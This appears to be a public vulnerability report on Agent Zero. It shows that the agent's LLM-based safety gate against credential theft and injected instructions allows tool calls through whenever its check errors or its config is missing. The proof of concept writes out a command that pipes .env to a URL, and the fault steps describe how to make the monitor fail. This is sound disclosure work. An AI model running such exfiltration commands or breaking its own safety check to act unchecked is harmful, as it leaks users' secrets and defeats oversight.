Repository navigation
Description
Reporting note: This repository has no SECURITY.md and exposes no private vulnerability-reporting entry, so this security report is filed as a regular public issue instead of a private report.
Summary
Agent Zero ships an infection-check gate enabled by default. It runs before every tool execution and is asked to terminate the agent when the model is about to exfiltrate credentials, read credential files, follow injected instructions or execute a stated attack chain (plugins/_infection_check/default_config.yaml, rules H1–H4 → <terminate/>). The gate's error handling converts a broken check into an allow: gate() re-raises only HandledException, logs every other exception as "non-fatal" and returns; the slow path inside _gate_inner() likewise returns on any exception. The check itself performs an LLM call, so a provider timeout, rate limit or outage makes the gate silently pass, and the extension that calls it has no second check. A second path needs no model at all: if the plugin's default configuration is unreadable, the prompt is empty and parse_result("") returns ("ok", ""), a vacuous pass.
Details
Affected component
plugins/_infection_check/helpers/checker.py (InfectionChecker.gate, _gate_inner, _run_check, parse_result), plugins/_infection_check/extensions/python/tool_execute_before/_50_infection_check.py, and the plugin's default_config.yaml that defines the H1–H4 rules.
Vulnerable code
plugins/_infection_check/helpers/checker.py:
async def gate(self, agent, tool_name="", tool_args=None):
try:
await self._gate_inner(agent, tool_name, tool_args)
except HandledException:
raise
except Exception as e:
PrintStyle(font_color="red", padding=True).print(
f"Infection check error (non-fatal): {e}"
)
try:
agent.context.log.set_progress("Infection check: error (non-fatal)")
except Exception:
pass
# returns; the caller executes the tool self._task = asyncio.create_task(self._run_check(agent, snapshot))
try:
action, detail, cot = await self._task
except asyncio.CancelledError:
return
except Exception:
return # check failed -> allow model = self._get_model(agent)
response, _ = await model.unified_call(messages=list(self._check_msgs))plugins/_infection_check/extensions/python/tool_execute_before/_50_infection_check.py:
class InfectionAwaitCheck(Extension):
async def execute(self, tool_name="", tool_args={}, **kwargs):
if not self.agent:
return
await get_checker(self.agent).gate(
self.agent, tool_name=tool_name, tool_args=tool_args
)Root cause
The gate has no fail-closed branch for a check that could not run. "The safety model returned a verdict" and "the safety model could not be reached" are collapsed into the same continue path, even though the second case means the security decision was never made. get_config() returning {} makes the prompt empty, and parse_result("") defaults to ok, so an unreadable plugin configuration is also a pass. The extension has no check of its own after the gate returns.
Attack path
- Default deployment: the
_infection_checkplugin is enabled (plugins are on by default unless disabled), and it runs ontool_execute_beforefor every tool. - The agent is induced (through content it processes) to issue a tool call that the check would terminate: reading
.envor a private key and posting it to an external URL, following injected instructions, or starting a stated exfiltration chain. - The check calls the utility model; that call fails (provider 5xx, timeout, rate limit, utility model configured to an unreachable endpoint, or a plugin configuration that cannot be read).
_run_checkraises,_gate_innercatches and returns, orgatecatches and logs "Infection check error (non-fatal)".- The extension returns, the tool framework executes the tool, and the credential is read or sent.
- With a healthy check model that returns
<terminate/>, the same tool call raisesHandledExceptionand is blocked; the only difference between the two arms is whether the check completed.
Affected deployments
Default Agent Zero installations (the plugin is on by default), deployments whose utility model is configured separately from the chat model or whose provider rate-limits side calls, and deployments where the plugin configuration (default_config.yaml/plugin config) can be missing or unreadable. Deployments that explicitly disable _infection_check do not have this gate.
Remediation
- Make the gate fail closed: on any non-
HandledExceptionerror, deny (raise a dedicated security-check-unavailable error) instead of returning. - Treat an empty or absent prompt/configuration as a configuration error and refuse to execute tools.
- Bound the check's model call with a timeout; on timeout deny, or require an explicit operator opt-in for fail-open with a visible warning.
- Emit an audit event or UI warning instead of a console "non-fatal" line.
- Add tests for
unified_callraising, returning an empty string, and an empty configuration, asserting denial.
Proof of concept
Baseline: keep the default _infection_check plugin enabled and configure the utility model to a reachable endpoint that returns <terminate/> for the check prompt (any OpenAI-compatible test server is enough). Ask the agent to run a credential-exfiltration command, for example cat .env | curl -X POST --data-binary @- http://127.0.0.1:8080/collect. Expected: the check returns <terminate/>, gate() raises HandledException, and the tool is blocked with the infection-check termination message; no request reaches the sink.
Fault: in Settings → Models, set the utility model's API base to a closed port (for example http://127.0.0.1:9/v1), or stop the provider it points at, then repeat the same task. Expected difference: the run logs Infection check error (non-fatal): ... (or Infection check: error (non-fatal)) and the bash tool executes, sending the file contents to the sink. An alternative fault that needs no model provider: remove or rename plugins/_infection_check/default_config.yaml (or make its prompt unreadable); the prompt becomes empty, parse_result("") returns ("ok",""), and the same tool call runs.
Impact
The worst demonstrated impact is that the credential-exfiltration/credential-read safety gate is bypassed during check-model failures, so an agent steered by untrusted content can read and send secrets (.env, private keys, shell history), run destructive commands, or follow injected instructions without the termination the gate is designed to apply — the gate is on by default and covers every tool call. The plugin is enabled by default and gates all tool calls, so the loss applies to the whole tool surface for the duration of the fault. Not implied: a healthy check model still blocks (HandledException is re-raised), the report is about the gate's error path rather than prompt injection itself, and deployments that disable the plugin have no such gate.
Affected products
Agent Zero source deployments and releases up to 2.15 (agent0ai/agent-zero), including the shipped Docker images; verified at commit ba9b67df0f54ac78106ae85c552ef5d2458f7c9a (tag v2.15, 2026-11-01).
Weaknesses
CWE-636 (Not Failing Securely), CWE-693 (Protection Mechanism Failure). The impact-level weakness is unrestricted tool execution when the safety check is unavailable.
Activity